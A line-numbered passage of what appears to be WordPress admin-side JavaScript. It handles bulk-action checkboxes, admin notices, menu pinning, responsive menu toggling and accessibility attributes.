1141 checks = $( lastClicked ).closest( 'form' ).find( ':checkbox' ).filter( ':visible:enabled' );
1142 first = checks.index( lastClicked );
1143 last = checks.index( this );
1144 checked = $(this).prop('checked');
1145 if ( 0 < first && 0 < last && first != last ) {
1146 sliced = ( last > first ) ? checks.slice( first, last ) : checks.slice( last, first );
1147 sliced.prop( 'checked', function() {
1148 if ( $(this).closest('tr').is(':visible') )
1149 return checked;
1150
1151 return false;
1152 });
1153 }
1154 }
1155 lastClicked = this;
1156
1157 // Toggle the "Select all" checkboxes depending if the other ones are all checked or not.
1158 var unchecked = $(this).closest('tbody').find('tr').find(':checkbox').filter(':visible:enabled').not(':checked');
1159
1160 /**
1161 * Determines if all checkboxes are checked.
1162 *
1163 * @return {boolean} Returns true if there are no unchecked checkboxes.
1164 */
1165 $(this).closest('table').children('thead, tfoot').find(':checkbox').prop('checked', function() {
1166 return ( 0 === unchecked.length );
1167 });
1168
1169 return true;
1170 });
1171
1172 /**
1173 * Controls all the toggles on bulk toggle change.
1174 *
1175 * When the bulk checkbox is changed, all the checkboxes in the tables are changed accordingly.
1176 * When the shift-button is pressed while changing the bulk checkbox the checkboxes in the table are inverted.
1177 *
1178 * This event needs to be delegated. Ticket #37973.
1179 *
1180 * @param {Event} event The event object.
1181 *
1182 * @return {boolean}
1183 */
1184 $body.on( 'click.wp-toggle-checkboxes', 'thead .check-column :checkbox, tfoot .check-column :checkbox', function( event ) {
1185 var $this = $(this),
1186 $table = $this.closest( 'table' ),
1187 controlChecked = $this.prop('checked'),
1188 toggle = event.shiftKey || $this.data('wp-toggle');
1189
1190 $table.children( 'tbody' ).filter(':visible')
1191 .children().children('.check-column').find(':checkbox')
1192 /**
1193 * Updates the checked state on the checkbox in the table.
1194 *
1195 * @return {boolean} True checks the checkbox, False unchecks the checkbox.
1196 */
1197 .prop('checked', function() {
1198 if ( $(this).is(':hidden,:disabled') ) {
1199 return false;
1200 }
1201
1202 if ( toggle ) {
1203 return ! $(this).prop( 'checked' );
1204 } else if ( controlChecked ) {
1205 return true;
1206 }
1207
1208 return false;
1209 });
1210
1211 $table.children('thead, tfoot').filter(':visible')
1212 .children().children('.check-column').find(':checkbox')
1213
1214 /**
1215 * Syncs the bulk checkboxes on the top and bottom of the table.
1216 *
1217 * @return {boolean} True checks the checkbox, False unchecks the checkbox.
1218 */
1219 .prop('checked', function() {
1220 if ( toggle ) {
1221 return false;
1222 } else if ( controlChecked ) {
1223 return true;
1224 }
1225
1226 return false;
1227 });
1228 });
1229
1230 /**
1231 * Marries a secondary control to its primary control.
1232 *
1233 * @param {jQuery} topSelector The top selector element.
1234 * @param {jQuery} topSubmit The top submit element.
1235 * @param {jQuery} bottomSelector The bottom selector element.
1236 * @param {jQuery} bottomSubmit The bottom submit element.
1237 * @return {void}
1238 */
1239 function marryControls( topSelector, topSubmit, bottomSelector, bottomSubmit ) {
1240 /**
1241 * Updates the primary selector when the secondary selector is changed.
1242 *
1243 * @since 5.7.0
1244 *
1245 * @return {void}
1246 */
1247 function updateTopSelector() {
1248 topSelector.val($(this).val());
1249 }
1250 bottomSelector.on('change', updateTopSelector);
1251
1252 /**
1253 * Updates the secondary selector when the primary selector is changed.
1254 *
1255 * @since 5.7.0
1256 *
1257 * @return {void}
1258 */
1259 function updateBottomSelector() {
1260 bottomSelector.val($(this).val());
1261 }
1262 topSelector.on('change', updateBottomSelector);
1263
1264 /**
1265 * Triggers the primary submit when then secondary submit is clicked.
1266 *
1267 * @since 5.7.0
1268 *
1269 * @return {void}
1270 */
1271 function triggerSubmitClick(e) {
1272 e.preventDefault();
1273 e.stopPropagation();
1274
1275 topSubmit.trigger('click');
1276 }
1277 bottomSubmit.on('click', triggerSubmitClick);
1278 }
1279
1280 // Marry the secondary "Bulk actions" controls to the primary controls:
1281 marryControls( $('#bulk-action-selector-top'), $('#doaction'), $('#bulk-action-selector-bottom'), $('#doaction2') );
1282
1283 // Marry the secondary "Change role to" controls to the primary controls:
1284 marryControls( $('#new_role'), $('#changeit'), $('#new_role2'), $('#changeit2') );
1285
1286 var addAdminNotice = function( data ) {
1287 var $notice = $( data.selector ),
1288 $headerEnd = $( '.wp-header-end' ),
1289 type,
1290 dismissible,
1291 $adminNotice;
1292
1293 delete data.selector;
1294
1295 dismissible = ( data.dismissible && data.dismissible === true ) ? ' is-dismissible' : '';
1296 type = ( data.type ) ? data.type : 'info';
1297
1298 $adminNotice = '<div id="' + data.id + '" class="notice notice-' + data.type + dismissible + '"><p>' + data.message + '</p></div>';
1299
1300 // Check if this admin notice already exists.
1301 if ( ! $notice.length ) {
1302 $notice = $( '#' + data.id );
1303 }
1304
1305 if ( $notice.length ) {
1306 $notice.replaceWith( $adminNotice );
1307 } else if ( $headerEnd.length ) {
1308 $headerEnd.after( $adminNotice );
1309 } else {
1310 if ( 'customize' === pagenow ) {
1311 $( '.customize-themes-notifications' ).append( $adminNotice );
1312 } else {
1313 $( '.wrap' ).find( '> h1' ).after( $adminNotice );
1314 }
1315 }
1316
1317 $document.trigger( 'wp-notice-added' );
1318 };
1319
1320 $( '.bulkactions' ).parents( 'form' ).on( 'submit', function( event ) {
1321 var form = this,
1322 submitterName = event.originalEvent && event.originalEvent.submitter ? event.originalEvent.submitter.name : false,
1323 currentPageSelector = form.querySelector( '#current-page-selector' );
1324
1325 if ( currentPageSelector && currentPageSelector.defaultValue !== currentPageSelector.value ) {
1326 return; // Pagination form submission.
1327 }
1328
1329 // Observe submissions from posts lists for 'bulk_action' or users lists for 'new_role'.
1330 var bulkFieldRelations = {
1331 'bulk_action' : window.bulkActionObserverIds.bulk_action,
1332 'changeit' : window.bulkActionObserverIds.changeit
1333 };
1334 if ( ! Object.keys( bulkFieldRelations ).includes( submitterName ) ) {
1335 return;
1336 }
1337
1338 var values = new FormData(form);
1339 var value = values.get( bulkFieldRelations[ submitterName ] ) || '-1';
1340
1341 // Check that the action is not the default one.
1342 if ( value !== '-1' ) {
1343 // Check that at least one item is selected.
1344 var itemsSelected = form.querySelectorAll( '.wp-list-table tbody .check-column input[type="checkbox"]:checked' );
1345
1346 if ( itemsSelected.length > 0 ) {
1347 return;
1348 }
1349 }
1350 event.preventDefault();
1351 event.stopPropagation();
1352 $( 'html, body' ).animate( { scrollTop: 0 } );
1353
1354 var errorMessage = value !== '-1' ?
1355 __( 'Please select at least one item to perform this action on.' ) :
1356 __( 'Please select a bulk action to perform.' );
1357 addAdminNotice( {
1358 id: value !== '-1' ? 'no-items-selected' : 'no-bulk-action-selected',
1359 type: 'error',
1360 message: errorMessage,
1361 dismissible: true,
1362 } );
1363
1364 wp.a11y.speak( errorMessage );
1365 });
1366
1367 /**
1368 * Shows row actions on focus of its parent container element or any other elements contained within.
1369 *
1370 * @return {void}
1371 */
1372 $( '#wpbody-content' ).on({
1373 focusin: function() {
1374 clearTimeout( transitionTimeout );
1375 focusedRowActions = $( this ).find( '.row-actions' );
1376 // transitionTimeout is necessary for Firefox, but Chrome won't remove the CSS class without a little help.
1377 $( '.row-actions' ).not( this ).removeClass( 'visible' );
1378 focusedRowActions.addClass( 'visible' );
1379 },
1380 focusout: function() {
1381 // Tabbing between post title and .row-actions links needs a brief pause, otherwise
1382 // the .row-actions div gets hidden in transit in some browsers (ahem, Firefox).
1383 transitionTimeout = setTimeout( function() {
1384 focusedRowActions.removeClass( 'visible' );
1385 }, 30 );
1386 }
1387 }, '.table-view-list .has-row-actions' );
1388
1389 // Toggle list table rows on small screens.
1390 $( 'tbody' ).on( 'click', '.toggle-row', function() {
1391 $( this ).closest( 'tr' ).toggleClass( 'is-expanded' );
1392 });
1393
1394 $('#default-password-nag-no').on( 'click', function() {
1395 setUserSetting('default_password_nag', 'hide');
1396 $('div.default-password-nag').hide();
1397 return false;
1398 });
1399
1400 /**
1401 * Handles tab keypresses in theme and plugin file editor textareas.
1402 *
1403 * @param {Event} e The event object.
1404 *
1405 * @return {void}
1406 */
1407 $('#newcontent').on('keydown.wpevent_InsertTab', function(e) {
1408 var el = e.target, selStart, selEnd, val, scroll, sel;
1409
1410 // After pressing escape key (keyCode: 27), the tab key should tab out of the textarea.
1411 if ( e.keyCode == 27 ) {
1412 // When pressing Escape: Opera 12 and 27 blur form fields, IE 8 clears them.
1413 e.preventDefault();
1414 $(el).data('tab-out', true);
1415 return;
1416 }
1417
1418 // Only listen for plain tab key (keyCode: 9) without any modifiers.
1419 if ( e.keyCode != 9 || e.ctrlKey || e.altKey || e.shiftKey )
1420 return;
1421
1422 // After tabbing out, reset it so next time the tab key can be used again.
1423 if ( $(el).data('tab-out') ) {
1424 $(el).data('tab-out', false);
1425 return;
1426 }
1427
1428 selStart = el.selectionStart;
1429 selEnd = el.selectionEnd;
1430 val = el.value;
1431
1432 // If any text is selected, replace the selection with a tab character.
1433 if ( document.selection ) {
1434 el.focus();
1435 sel = document.selection.createRange();
1436 sel.text = '\t';
1437 } else if ( selStart >= 0 ) {
1438 scroll = this.scrollTop;
1439 el.value = val.substring(0, selStart).concat('\t', val.substring(selEnd) );
1440 el.selectionStart = el.selectionEnd = selStart + 1;
1441 this.scrollTop = scroll;
1442 }
1443
1444 // Cancel the regular tab functionality, to prevent losing focus of the textarea.
1445 if ( e.stopPropagation )
1446 e.stopPropagation();
1447 if ( e.preventDefault )
1448 e.preventDefault();
1449 });
1450
1451 // Reset page number variable for new filters/searches but not for bulk actions. See #17685.
1452 if ( pageInput.length ) {
1453
1454 /**
1455 * Handles pagination variable when filtering the list table.
1456 *
1457 * Set the pagination argument to the first page when the post-filter form is submitted.
1458 * This happens when pressing the 'filter' button on the list table page.
1459 *
1460 * The pagination argument should not be touched when the bulk action dropdowns are set to do anything.
1461 *
1462 * The form closest to the pageInput is the post-filter form.
1463 *
1464 * @return {void}
1465 */
1466 pageInput.closest('form').on( 'submit', function() {
1467 /*
1468 * action = bulk action dropdown at the top of the table
1469 */
1470 if ( $('select[name="action"]').val() == -1 && pageInput.val() == currentPage )
1471 pageInput.val('1');
1472 });
1473 }
1474
1475 /**
1476 * Resets the bulk actions when the search button is clicked.
1477 *
1478 * @return {void}
1479 */
1480 $('.search-box input[type="search"], .search-box input[type="submit"]').on( 'mousedown', function () {
1481 $('select[name^="action"]').val('-1');
1482 });
1483
1484 /**
1485 * Scrolls into view when focus.scroll-into-view is triggered.
1486 *
1487 * @param {Event} e The event object.
1488 *
1489 * @return {void}
1490 */
1491 $('#contextual-help-link, #show-settings-link').on( 'focus.scroll-into-view', function(e){
1492 if ( e.target.scrollIntoViewIfNeeded )
1493 e.target.scrollIntoViewIfNeeded(false);
1494 });
1495
1496 /**
1497 * Disables the submit upload buttons when no data is entered.
1498 *
1499 * @return {void}
1500 */
1501 (function(){
1502 var button, input, form = $('form.wp-upload-form');
1503
1504 // Exit when no upload form is found.
1505 if ( ! form.length )
1506 return;
1507
1508 button = form.find('input[type="submit"]');
1509 input = form.find('input[type="file"]');
1510
1511 /**
1512 * Determines if any data is entered in any file upload input.
1513 *
1514 * @since 3.5.0
1515 *
1516 * @return {void}
1517 */
1518 function toggleUploadButton() {
1519 // When no inputs have a value, disable the upload buttons.
1520 button.prop('disabled', '' === input.map( function() {
1521 return $(this).val();
1522 }).get().join(''));
1523 }
1524
1525 // Update the status initially.
1526 toggleUploadButton();
1527 // Update the status when any file input changes.
1528 input.on('change', toggleUploadButton);
1529 })();
1530
1531 /**
1532 * Pins the menu while distraction-free writing is enabled.
1533 *
1534 * @param {Event} event Event data.
1535 *
1536 * @since 4.1.0
1537 *
1538 * @return {void}
1539 */
1540 function pinMenu( event ) {
1541 var windowPos = $window.scrollTop(),
1542 resizing = ! event || event.type !== 'scroll';
1543
1544 if ( isIOS || $adminmenu.data( 'wp-responsive' ) ) {
1545 return;
1546 }
1547
1548 /*
1549 * When the menu is higher than the window and smaller than the entire page.
1550 * It should be adjusted to be able to see the entire menu.
1551 *
1552 * Otherwise it can be accessed normally.
1553 */
1554 if ( height.menu + height.adminbar < height.window ||
1555 height.menu + height.adminbar + 20 > height.wpwrap ) {
1556 unpinMenu();
1557 return;
1558 }
1559
1560 menuIsPinned = true;
1561
1562 // If the menu is higher than the window, compensate on scroll.
1563 if ( height.menu + height.adminbar > height.window ) {
1564 // Check for overscrolling, this happens when swiping up at the top of the document in modern browsers.
1565 if ( windowPos < 0 ) {
1566 // Stick the menu to the top.
1567 if ( ! pinnedMenuTop ) {
1568 pinnedMenuTop = true;
1569 pinnedMenuBottom = false;
1570
1571 $adminMenuWrap.css({
1572 position: 'fixed',
1573 top: '',
1574 bottom: ''
1575 });
1576 }
1577
1578 return;
1579 } else if ( windowPos + height.window > $document.height() - 1 ) {
1580 // When overscrolling at the bottom, stick the menu to the bottom.
1581 if ( ! pinnedMenuBottom ) {
1582 pinnedMenuBottom = true;
1583 pinnedMenuTop = false;
1584
1585 $adminMenuWrap.css({
1586 position: 'fixed',
1587 top: '',
1588 bottom: 0
1589 });
1590 }
1591
1592 return;
1593 }
1594
1595 if ( windowPos > lastScrollPosition ) {
1596 // When a down scroll has been detected.
1597
1598 // If it was pinned to the top, unpin and calculate relative scroll.
1599 if ( pinnedMenuTop ) {
1600 pinnedMenuTop = false;
1601 // Calculate new offset position.
1602 menuTop = $adminMenuWrap.offset().top - height.adminbar - ( windowPos - lastScrollPosition );
1603
1604 if ( menuTop + height.menu + height.adminbar < windowPos + height.window ) {
1605 menuTop = windowPos + height.window - height.menu - height.adminbar;
1606 }
1607
1608 $adminMenuWrap.css({
1609 position: 'absolute',
1610 top: menuTop,
1611 bottom: ''
1612 });
1613 } else if ( ! pinnedMenuBottom && $adminMenuWrap.offset().top + height.menu < windowPos + height.window ) {
1614 // Pin it to the bottom.
1615 pinnedMenuBottom = true;
1616
1617 $adminMenuWrap.css({
1618 position: 'fixed',
1619 top: '',
1620 bottom: 0
1621 });
1622 }
1623 } else if ( windowPos < lastScrollPosition ) {
1624 // When a scroll up is detected.
1625
1626 // If it was pinned to the bottom, unpin and calculate relative scroll.
1627 if ( pinnedMenuBottom ) {
1628 pinnedMenuBottom = false;
1629
1630 // Calculate new offset position.
1631 menuTop = $adminMenuWrap.offset().top - height.adminbar + ( lastScrollPosition - windowPos );
1632
1633 if ( menuTop + height.menu > windowPos + height.window ) {
1634 menuTop = windowPos;
1635 }
1636
1637 $adminMenuWrap.css({
1638 position: 'absolute',
1639 top: menuTop,
1640 bottom: ''
1641 });
1642 } else if ( ! pinnedMenuTop && $adminMenuWrap.offset().top >= windowPos + height.adminbar ) {
1643
1644 // Pin it to the top.
1645 pinnedMenuTop = true;
1646
1647 $adminMenuWrap.css({
1648 position: 'fixed',
1649 top: '',
1650 bottom: ''
1651 });
1652 }
1653 } else if ( resizing ) {
1654 // Window is being resized.
1655
1656 pinnedMenuTop = pinnedMenuBottom = false;
1657
1658 // Calculate the new offset.
1659 menuTop = windowPos + height.window - height.menu - height.adminbar - 1;
1660
1661 if ( menuTop > 0 ) {
1662 $adminMenuWrap.css({
1663 position: 'absolute',
1664 top: menuTop,
1665 bottom: ''
1666 });
1667 } else {
1668 unpinMenu();
1669 }
1670 }
1671 }
1672
1673 lastScrollPosition = windowPos;
1674 }
1675
1676 /**
1677 * Determines the height of certain elements.
1678 *
1679 * @since 4.1.0
1680 *
1681 * @return {void}
1682 */
1683 function resetHeights() {
1684 height = {
1685 window: $window.height(),
1686 wpwrap: $wpwrap.height(),
1687 adminbar: $adminbar.height(),
1688 menu: $adminMenuWrap.height()
1689 };
1690 }
1691
1692 /**
1693 * Unpins the menu.
1694 *
1695 * @since 4.1.0
1696 *
1697 * @return {void}
1698 */
1699 function unpinMenu() {
1700 if ( isIOS || ! menuIsPinned ) {
1701 return;
1702 }
1703
1704 pinnedMenuTop = pinnedMenuBottom = menuIsPinned = false;
1705 $adminMenuWrap.css({
1706 position: '',
1707 top: '',
1708 bottom: ''
1709 });
1710 }
1711
1712 /**
1713 * Pins and unpins the menu when applicable.
1714 *
1715 * @since 4.1.0
1716 *
1717 * @return {void}
1718 */
1719 function setPinMenu() {
1720 resetHeights();
1721
1722 if ( $adminmenu.data('wp-responsive') ) {
1723 $body.removeClass( 'sticky-menu' );
1724 unpinMenu();
1725 } else if ( height.menu + height.adminbar > height.window ) {
1726 pinMenu();
1727 $body.removeClass( 'sticky-menu' );
1728 } else {
1729 $body.addClass( 'sticky-menu' );
1730 unpinMenu();
1731 }
1732 }
1733
1734 if ( ! isIOS ) {
1735 $window.on( 'scroll.pin-menu', pinMenu );
1736 $document.on( 'tinymce-editor-init.pin-menu', function( event, editor ) {
1737 editor.on( 'wp-autoresize', resetHeights );
1738 });
1739 }
1740
1741 /**
1742 * Changes the sortables and responsiveness of metaboxes.
1743 *
1744 * @since 3.8.0
1745 *
1746 * @return {void}
1747 */
1748 window.wpResponsive = {
1749
1750 /**
1751 * Initializes the wpResponsive object.
1752 *
1753 * @since 3.8.0
1754 *
1755 * @return {void}
1756 */
1757 init: function() {
1758 var self = this;
1759
1760 this.maybeDisableSortables = this.maybeDisableSortables.bind( this );
1761
1762 // Modify functionality based on custom activate/deactivate event.
1763 $document.on( 'wp-responsive-activate.wp-responsive', function() {
1764 self.activate();
1765 self.toggleAriaHasPopup( 'add' );
1766 }).on( 'wp-responsive-deactivate.wp-responsive', function() {
1767 self.deactivate();
1768 self.toggleAriaHasPopup( 'remove' );
1769 });
1770
1771 $( '#wp-admin-bar-menu-toggle a' ).attr( 'aria-expanded', 'false' );
1772
1773 // Toggle sidebar when toggle is clicked.
1774 $( '#wp-admin-bar-menu-toggle' ).on( 'click.wp-responsive', function( event ) {
1775 event.preventDefault();
1776
1777 // Close any open toolbar submenus.
1778 $adminbar.find( '.hover' ).removeClass( 'hover' );
1779
1780 $wpwrap.toggleClass( 'wp-responsive-open' );
1781 if ( $wpwrap.hasClass( 'wp-responsive-open' ) ) {
1782 $(this).find('a').attr( 'aria-expanded', 'true' );
1783 $( '#adminmenu a:first' ).trigger( 'focus' );
1784 } else {
1785 $(this).find('a').attr( 'aria-expanded', 'false' );
1786 }
1787 } );
1788
1789 // Close sidebar when target moves outside of toggle and sidebar.
1790 $( document ).on( 'click', function( event ) {
1791 if ( ! $wpwrap.hasClass( 'wp-responsive-open' ) || ! document.hasFocus() ) {
1792 return;
1793 }
1794
1795 var focusIsInToggle = $.contains( $( '#wp-admin-bar-menu-toggle' )[0], event.target );
1796 var focusIsInSidebar = $.contains( $( '#adminmenuwrap' )[0], event.target );
1797
1798 if ( ! focusIsInToggle && ! focusIsInSidebar ) {
1799 $( '#wp-admin-bar-menu-toggle' ).trigger( 'click.wp-responsive' );
1800 }
1801 } );
1802
1803 // Close sidebar when a keypress completes outside of toggle and sidebar.
1804 $( document ).on( 'keyup', function( event ) {
1805 var toggleButton = $( '#wp-admin-bar-menu-toggle' )[0];
1806 if ( ! $wpwrap.hasClass( 'wp-responsive-open' ) ) {
1807 return;
1808 }
1809 if ( 27 === event.keyCode ) {
1810 $( toggleButton ).trigger( 'click.wp-responsive' );
1811 $( toggleButton ).find( 'a' ).trigger( 'focus' );
1812 } else {
1813 if ( 9 === event.keyCode ) {
1814 var sidebar = $( '#adminmenuwrap' )[0];
1815 var focusedElement = event.relatedTarget || document.activeElement;
1816 // A brief delay is required to allow focus to switch to another element.
1817 setTimeout( function() {
1818 var focusIsInToggle = $.contains( toggleButton, focusedElement );
1819 var focusIsInSidebar = $.contains( sidebar, focusedElement );
1820
1821 if ( ! focusIsInToggle && ! focusIsInSidebar ) {
1822 $( toggleButton ).trigger( 'click.wp-responsive' );
1823 }
1824 }, 10 );
1825 }
1826 }
1827 });
1828
1829 // Add menu events.
1830 $adminmenu.on( 'click.wp-responsive', 'li.wp-has-submenu > a', function( event ) {
1831 if ( ! $adminmenu.data('wp-responsive') ) {
1832 return;
1833 }
1834 let state = ( 'false' === $( this ).attr( 'aria-expanded' ) ) ? 'true' : 'false';
1835 $( this ).parent( 'li' ).toggleClass( 'selected' );
1836 $( this ).attr( 'aria-expanded', state );
1837 $( this ).trigger( 'focus' );
1838 event.preventDefault();
1839 });
1840
1841 self.trigger();
1842 $document.on( 'wp-window-resized.wp-responsive', this.trigger.bind( this ) );
1843
1844 // This needs to run later as UI Sortable may be initialized when the document is ready.
1845 $window.on( 'load.wp-responsive', this.maybeDisableSortables );
1846 $document.on( 'postbox-toggled', this.maybeDisableSortables );
1847
1848 // When the screen columns are changed, potentially disable sortables.
1849 $( '#screen-options-wrap input' ).on( 'click', this.maybeDisableSortables );
1850 },
1851
1852 /**
1853 * Disable sortables if there is only one metabox, or the screen is in one column mode. Otherwise, enable sortables.
1854 *
1855 * @since 5.3.0
1856 *
1857 * @return {void}
1858 */
1859 maybeDisableSortables: function() {
1860 var width = navigator.userAgent.indexOf('AppleWebKit/') > -1 ? $window.width() : window.innerWidth;
1861
1862 if (
1863 ( width <= 782 ) ||
1864 ( 1 >= $sortables.find( '.ui-sortable-handle:visible' ).length && jQuery( '.columns-prefs-1 input' ).prop( 'checked' ) )
1865 ) {
1866 this.disableSortables();
1867 } else {
1868 this.enableSortables();
1869 }
1870 },
1871
1872 /**
1873 * Changes properties of body and admin menu.
1874 *
1875 * Pins and unpins the menu and adds the auto-fold class to the body.
1876 * Makes the admin menu responsive and disables the metabox sortables.
1877 *
1878 * @since 3.8.0
1879 *
1880 * @return {void}
1881 */
1882 activate: function() {
1883 setPinMenu();
1884
1885 if ( ! $body.hasClass( 'auto-fold' ) ) {
1886 $body.addClass( 'auto-fold' );
1887 }
1888
1889 $adminmenu.data( 'wp-responsive', 1 );
1890 this.disableSortables();
1891 },
1892
1893 /**
1894 * Changes properties of admin menu and enables metabox sortables.
1895 *
1896 * Pin and unpin the menu.
1897 * Removes the responsiveness of the admin menu and enables the metabox sortables.
1898 *
1899 * @since 3.8.0
1900 *
1901 * @return {void}
1902 */
1903 deactivate: function() {
1904 setPinMenu();
1905 $adminmenu.removeData('wp-responsive');
1906
1907 this.maybeDisableSortables();
1908 },
1909
1910 /**
1911 * Toggles the aria-haspopup attribute for the responsive admin menu.
1912 *
1913 * The aria-haspopup attribute is only necessary for the responsive menu.
1914 * See ticket https://core.trac.wordpress.org/ticket/43095
1915 *
1916 * @since 6.6.0
1917 *
1918 * @param {string} action Whether to add or remove the aria-haspopup attribute.
1919 *
1920 * @return {void}
1921 */
1922 toggleAriaHasPopup: function( action ) {
1923 var elements = $adminmenu.find( '[data-ariahaspopup]' );
1924
1925 if ( action === 'add' ) {
1926 elements.each( function() {
1927 $( this ).attr( 'aria-haspopup', 'menu' ).attr( 'aria-expanded', 'false' );
1928 } );
1929
1930 return;
1931 }
1932
1933 elements.each( function() {
1934 $( this ).removeAttr( 'aria-haspopup' ).removeAttr( 'aria-expanded' );
1935 } );
1936 },
1937
1938 /**
1939 * Sets the responsiveness and enables the overlay based on the viewport width.
1940 *
1941 * @since 3.8.0
1942 *
1943 * @return {void}
1944 */
1945 trigger: function() {
1946 var viewportWidth = getViewportWidth();
1947
1948 // Exclude IE < 9, it doesn't support @media CSS rules.
1949 if ( ! viewportWidth ) {
1950 return;
1951 }
1952
1953 if ( viewportWidth <= 782 ) {
1954 if ( ! wpResponsiveActive ) {
1955 $document.trigger( 'wp-responsive-activate' );
1956 wpResponsiveActive = true;
1957 }
1958 } else {
1959 if ( wpResponsiveActive ) {
1960 $document.trigger( 'wp-responsive-deactivate' );
1961 wpResponsiveActive = false;
1962 }
1963 }
1964
1965 if ( viewportWidth <= 480 ) {
1966 this.enableOverlay();
1967 } else {
1968 this.disableOverlay();
1969 }
1970
1971 this.maybeDisableSortables();
1972 },
1973
1974 /**
1975 * Inserts a responsive overlay and toggles the window.
1976 *
1977 * @since 3.8.0
1978 *
1979 * @return {void}
1980 */
1981 enableOverlay: function() {
1982 if ( $overlay.length === 0 ) {
1983 $overlay = $( '<div id="wp-responsive-overlay"></div>' )
1984 .insertAfter( '#wpcontent' )
1985 .hide()
1986 .on( 'click.wp-responsive', function() {
1987 $toolbar.find( '.menupop.hover' ).removeClass( 'hover' );
1988 $( this ).hide();
1989 });
1990 }
1991
1992 $toolbarPopups.on( 'click.wp-responsive', function() {
1993 $overlay.show();
1994 });
1995 },
1996
1997 /**
1998 * Disables the responsive overlay and removes the overlay.
1999 *
2000 * @since 3.8.0
2001 *
2002 * @return {void}
2003 */
2004 disableOverlay: function() {
2005 $toolbarPopups.off( 'click.wp-responsive' );
2006 $overlay.hide();
2007 },
2008
2009 /**
2010 * Disables sortables.
2011 *
2012 * @since 3.8.0
2013 *
2014 * @return {void}
2015 */
2016 disableSortables: function() {
2017 if ( $sortables.length ) {
2018 try {
2019 $sortables.sortable( 'disable' );
2020 $sortables.find( '.ui-sortable-handle' ).addClass( 'is-non-sortable' );
2021 } catch ( e ) {}
2022 }
2023 },
2024
2025 /**
2026 * Enables sortables.
2027 *
2028 * @since 3.8.0
2029 *
2030 * @return {void}
2031 */
2032 enableSortables: function() {
2033 if ( $sortables.length ) {
2034 try {
2035 $sortables.sortable( 'enable' );
2036 $sortables.find( '.ui-sortable-handle' ).removeClass( 'is-non-sortable' );
2037 } catch ( e ) {}
2038 }
2039 }
2040 };
2041
2042 /**
2043 * Add an ARIA role `button` to elements that behave like UI controls when JavaScript is on.
2044 *
2045 * @since 4.5.0
2046 *
2047 * @return {void}
2048 */
2049 function aria_button_if_js() {
2050 $( '.aria-button-if-js' ).attr( 'role', 'button' );
2051 }
2052
2053 $( document ).on( 'ajaxComplete', function() {
2054 aria_button_if_js();
2055 });
2056
2057 /**
2058 * Get the viewport width.
2059 *
2060 * @since 4.7.0
2061 *
2062 * @return {number|boolean} The current viewport width or false if the
2063 * browser doesn't support innerWidth (IE < 9).
2064 */
2065 function getViewportWidth() {
2066 var viewportWidth = false;
2067
2068 if ( window.innerWidth ) {
2069 // On phones, window.innerWidth is affected by zooming.
2070 viewportWidth = Math.max( window.innerWidth, document.documentElement.clientWidth );
2071 }
2072
2073 return viewportWidth;
2074 }
2075
2076 /**
2077 * Sets the admin menu collapsed/expanded state.
2078 *
2079 * Sets the global variable `menuState` and triggers a custom event passing
2080 * the current menu state.
2081 *
2082 * @since 4.7.0
2083 *
2084 * @return {void}
2085 */
2086 function setMenuState() {
2087 var viewportWidth = getViewportWidth() || 961;
2088
2089 if ( viewportWidth <= 782 ) {
2090 menuState = 'responsive';
2091 } else if ( $body.hasClass( 'folded' ) || ( $body.hasClass( 'auto-fold' ) && viewportWidth <= 960 && viewportWidth > 782 ) ) {
2092 menuState = 'folded';
2093 } else {
2094 menuState = 'open';
2095 }
2096
2097 $document.trigger( 'wp-menu-state-set', { state: menuState } );
2098 }
2099
2100 // Set the menu state when the window gets resized.
2101 $document.on( 'wp-window-resized.set-menu-state', setMenuState );
2102
2103 /**
2104 * Sets ARIA attributes on the collapse/expand menu button.
2105 *
2106 * When the admin menu is open or folded, updates the `aria-expanded` and
2107 * `aria-label` attributes of the button to give feedback to assistive
2108 * technologies. In the responsive view, the button is always hidden.
2109 *
2110 * @since 4.7.0
2111 *
2112 * @return {void}
2113 */
2114 $document.on( 'wp-menu-state-set wp-collapse-menu', function( event, eventData ) {
2115 var $collapseButton = $( '#collapse-button' ),
2116 ariaExpanded, ariaLabelText;
2117
2118 if ( 'folded' === eventData.state ) {
2119 ariaExpanded = 'false';
2120 ariaLabelText = __( 'Expand Main menu' );
2121 } else {
2122 ariaExpanded = 'true';
2123 ariaLabelText = __( 'Collapse Main menu' );
2124 }
2125
2126 $collapseButton.attr({
2127 'aria-expanded': ariaExpanded,
2128 'aria-label': ariaLabelText
2129 });
2130 });
2131
2132 window.wpResponsive.init();
2133 setPinMenu();
2134 setMenuState();
2135 makeNoticesDismissible();
2136 aria_button_if_js();
2137
2138 $document.on( 'wp-pin-menu wp-window-resized.pin-menu postboxes-columnchange.pin-menu postbox-toggled.pin-menu wp-collapse-menu.pin-menu wp-scroll-start.pin-menu', setPinMenu );
2139
2140 // Set initial focus on a specific element.
2141 $( '.wp-initial-focus' ).trigger( 'focus' );
2142
2143 // Toggle update details on update-core.php.
2144 $body.on( 'click', '.js-update-details-toggle', function() {
2145 var $updateNotice = $( this ).closest( '.js-update-details' ),
2146 $progressDiv = $( '#' + $updateNotice.data( 'update-details' ) );
2147
2148 /*
2149 * When clicking on "Show details" move the progress div below the update
2150 * notice. Make sure it gets moved just the first time.
2151 */
2152 if ( ! $progressDiv.hasClass( 'update-details-moved' ) ) {
2153 $progressDiv.insertAfter( $updateNotice ).addClass( 'update-details-moved' );
2154 }
2155
2156 // Toggle the progress div visibility.
2157 $progressDiv.toggle();
2158 // Toggle the Show Details button expanded state.
2159 $( this ).attr( 'aria-expanded', $progressDiv.is( ':visible' ) );
2160 });
2161});
2162
2163/**
2164 * Hides the update button for expired plugin or theme uploads.
2165 *
2166 * On the "Update plugin/theme from uploaded zip" screen, once the upload has expired,
2167 * hides the "Replace current with uploaded" button and displays a warning.
2168 *
2169 * @since 5.5.0
2170 */
2171$( function( $ ) {
2172 var $overwrite, $warning;
2173
2174 if ( ! $body.hasClass( 'update-php' ) ) {
2175 return;
2176 }
2177
2178 $overwrite = $( 'a.update-from-upload-overwrite' );
2179 $warning = $( '.update-from-upload-expired' );
2180
2181 if ( ! $overwrite.length || ! $warning.length ) {
2182 return;
2183 }
2184
2185 window.setTimeout(
2186 function() {
2187 $overwrite.hide();
2188 $warning.removeClass( 'hidden' );
2189
2190 if ( window.wp && window.wp.a11y ) {
2191 window.wp.a11y.speak( $warning.text() );
2192 }
2193 },
2194 7140000 // 119 minutes. The uploaded file is deleted after 2 hours.
2195 );
2196} );
2197
2198// Fire a custom jQuery event at the end of window resize.
2199( function() {
2200 var timeout;
2201
2202 /**
2203 * Triggers the WP window-resize event.
2204 *
2205 * @since 3.8.0
2206 *
